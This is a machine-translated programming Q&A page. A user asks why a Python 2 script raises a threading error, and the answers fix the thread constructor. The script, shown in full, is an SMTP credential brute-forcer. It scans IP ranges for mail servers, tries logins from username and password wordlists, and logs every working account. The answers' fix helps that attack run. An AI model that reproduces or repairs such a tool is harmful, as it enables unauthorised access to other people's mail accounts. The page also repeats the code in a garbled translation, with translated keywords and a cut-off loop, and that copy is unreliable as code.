Python:断言错误;不叫;
我发现很难用这个程序解决以下错误,我非常感谢您的一些意见 该程序的目标是执行SMTP扫描。用户输入要分配给扫描进程的目标IP地址、用户名、密码和线程数Python:断言错误;不叫;,python,multithreading,smtp,Python,Multithreading,Smtp,我发现很难用这个程序解决以下错误,我非常感谢您的一些意见 该程序的目标是执行SMTP扫描。用户输入要分配给扫描进程的目标IP地址、用户名、密码和线程数 Traceback (most recent call last): File "/home/user/Desktop/darkSMTP.py", line 133, in <module> thread = myThread(i, "Thread " + str(i), i); File "/home/user
Traceback (most recent call last):
File "/home/user/Desktop/darkSMTP.py", line 133, in <module>
thread = myThread(i, "Thread " + str(i), i);
File "/home/user/Desktop/darkSMTP.py", line 100, in __init__
self.name = name
File "/usr/lib/python2.6/threading.py", line 669, in name
assert self.__initialized, "Thread.__init__() not called"
AssertionError: Thread.__init__() not called
回溯(最近一次呼叫最后一次):
文件“/home/user/Desktop/darkSMTP.py”,第133行,在
线程=myThread(i,“线程”+str(i),i);
文件“/home/user/Desktop/darkSMTP.py”,第100行,在__
self.name=名称
文件“/usr/lib/python2.6/threading.py”,第669行,名称为
断言self.\uuuu已初始化,“未调用线程.\uuuuu init\uuuuuuu()”
AssertionError:Thread.\uuuu init\uuuuu()未调用
代码如下:
import threading, time, random, sys, smtplib, socket
from smtplib import SMTP
from copy import copy
from optparse import OptionParser
usage= "./%prog -i <iplist> -t <threads> -u <userlist> -p <passlist>"
usage = usage+"\nExample: ./%prog -i ips.txt -t 8 -u user.txt -p pass.txt"
parser = OptionParser(usage=usage)
parser.add_option("-i",
action="store", dest="ips",
help="IP list for scanning")
parser.add_option("-t", type="int",
action="store", dest="threads",
help="Threads for processing")
parser.add_option("-u",
action="store", dest="users",
help="List of usernames")
parser.add_option("-p",
action="store", dest="passes",
help="List of passwords")
(options, args) = parser.parse_args()
def timer():
now = time.localtime(time.time())
return time.asctime(now)
if len(sys.argv) != 9:
parser.print_help()
sys.exit(1)
i = 1
port = 25
threads = options.threads
file = options.ips
users = options.users
passes = options.passes
completed = []
threaders = []
logger = open('darkSMTP.txt','w')
ipfile = open(file,'r')
print "[+] Warming up...ok";
lines = ipfile.readlines()
print "[+] IP's loaded:",len(lines);
print "[+] Users loaded:",len(users)
print "[+] Passwords loaded:",len(passes)
ipfile.close();
eachThread = len(lines) / int(threads);
print "[+] IP's per thread:",eachThread;
class myThread (threading.Thread):
def __init__(self, threadID, name, counter):
self.threadID = threadID
self.name = name
self.counter = counter
threading.Thread.__init__(self)
def run(self):
print "[+] Starting " + self.name
connect(self.name, self.counter, eachThread, self.threadID)
def connect(threadName, delay, counter, threadID):
start = threadID * counter
file = open(options.ips,'r')
data = file.readlines()
while counter:
if 0:
thread.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(2)
try:
connect=s.connect((data[start-counter],port))
print "[+] SMTP server on: " + data[start-counter],
print "[+] Server added to output file!"
logger.write(data[start-counter])
if s.recv(1024):
completed.append(data[start-counter].rstrip())
except socket.timeout:
print "[-] Server non-existant: " + data[start-counter].rstrip()
except socket.error:
print "[+] Server exists! " + data[start-counter].rstrip();
print "[-] But it's not SMTP"
s.close()
time.sleep(delay)
counter -= 1
while (i < int(threads + 1)):
thread = myThread(i, "Thread " + str(i), i);
threaders.append(thread)
i += 1
thread.start()
for t in threaders:
t.join()
print "\n--- Found & logged all SMTP servers in range ---\n"
print "---------------------------------------------------"
print "[+] Starting dictionary attack for each SMTP server"
print "---------------------------------------------------\n"
try:
helo = smtplib.SMTP(sys.argv[1])
name = helo.helo()
helo.quit()
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
name = "[-] Server doesn't support the Helo cmd"
try:
users = open(users, "r").readlines()
except(IOError):
print "Error: Check your userlist path\n"
sys.exit(1)
try:
words = open(passes, "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)
wordlist = copy(words)
def reloader():
for word in wordlist:
words.append(word)
def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
else:
reloader()
value = random.sample(words, 1)
words.remove(value[0])
users.remove(users[0])
lock.release()
return value[0][:-1], users[0][:-1]
class Worker(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
def run(self):
value, user = getword()
for ip in completed:
print "-"*12
print "[+] IP: "+ip
try:
print "User:",user,"Password:",value
smtp = smtplib.SMTP(ip)
smtp.login(user, value)
print "\t\n[!] Login successful:",user, value
logger.write("[!] Found: " + ip + " " + str(user) + ":" + str(value) + "\n")
smtp.quit()
sys.exit(2)
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
pass
for i in range(len(words)*len(users)):
work = Worker()
work.start()
threaders.append(work)
time.sleep(1)
for t in threaders:
t.join()
logger.close()
导入线程、时间、随机、系统、smtplib、套接字
从smtplib导入SMTP
从副本导入副本
从optpasse导入OptionParser
用法=“./%prog-i-t-u-p”
用法=用法+“\n例如:./%prog-i ips.txt-t 8-u user.txt-p pass.txt”
解析器=选项解析器(用法=用法)
parser.add_选项(“-i”,
action=“store”,dest=“ips”,
help=“用于扫描的IP列表”)
parser.add_选项(“-t”,type=“int”,
action=“store”,dest=“threads”,
help=“处理线程”)
parser.add_选项(“-u”,
action=“store”,dest=“users”,
help=“用户名列表”)
parser.add_选项(“-p”,
action=“store”,dest=“passs”,
help=“密码列表”)
(options,args)=parser.parse_args()
def timer():
now=time.localtime(time.time())
返回时间。asctime(现在)
如果len(sys.argv)!=9:
parser.print_help()
系统出口(1)
i=1
端口=25
threads=options.threads
file=options.ips
用户=选项。用户
通行证=选项。通行证
已完成=[]
线程器=[]
记录器=打开('darkSMTP.txt','w')
ipfile=open(文件,'r')
打印“[+]预热…确定”;
lines=ipfile.readlines()
打印“[+]IP已加载:”,len(行);
打印“[+]用户加载:”,len(用户)
打印“[+]已加载密码:”,len(通过)
ipfile.close();
eachThread=len(行)/int(线程);
每个线程打印“[+]IP:”,每个线程;
类myThread(threading.Thread):
def u u init _;(self、threadID、name、counter):
self.threadID=threadID
self.name=名称
self.counter=计数器
threading.Thread.\uuuuu init\uuuuuu(自)
def运行(自):
打印“[+]开始”+self.name
连接(self.name、self.counter、eachThread、self.threadID)
def connect(线程名称、延迟、计数器、线程ID):
开始=线程ID*计数器
文件=打开(options.ips,'r')
data=file.readlines()
而柜台:
如果0:
thread.exit()
s=socket.socket(socket.AF\u INET,socket.SOCK\u STREAM)
s、 设置超时(2)
尝试:
connect=s.connect((数据[启动计数器],端口))
在“+数据[启动计数器]”上打印“[+]SMTP服务器,
打印“[+]服务器已添加到输出文件!”
logger.write(数据[启动计数器])
如果s.recv(1024):
已完成。追加(数据[开始计数器].rstrip())
除socket.timeout外:
打印“[-]服务器不存在:”+数据[开始计数器].rstrip()
除socket.error外:
打印“[+]服务器存在!”+数据[启动计数器].rstrip();
打印“[-]但它不是SMTP”
s、 关闭()
时间。睡眠(延迟)
计数器-=1
而(i
谢谢您的myThread类构造函数必须是:
class myThread (threading.Thread):
def __init__(self, threadID, name, counter):
threading.Thread.__init__(self, name=name)
self.threadID = threadID
self.name = name
self.counter = counter
def run(self):
print("[+] Starting " + self.name)
connect(self.name, self.counter, eachThread, self.threadID)
请注意threading.Thread.\uuuu init\uuu(self,name=name)
。您必须在尝试设置名称之前调用基类的构造函数。您必须
class myThread(threading.Thread):
def __init__(self, threadID, name, counter):
super(myThread, self).__init__(name=name)
self.threadID = threadID
self.counter = counter
#...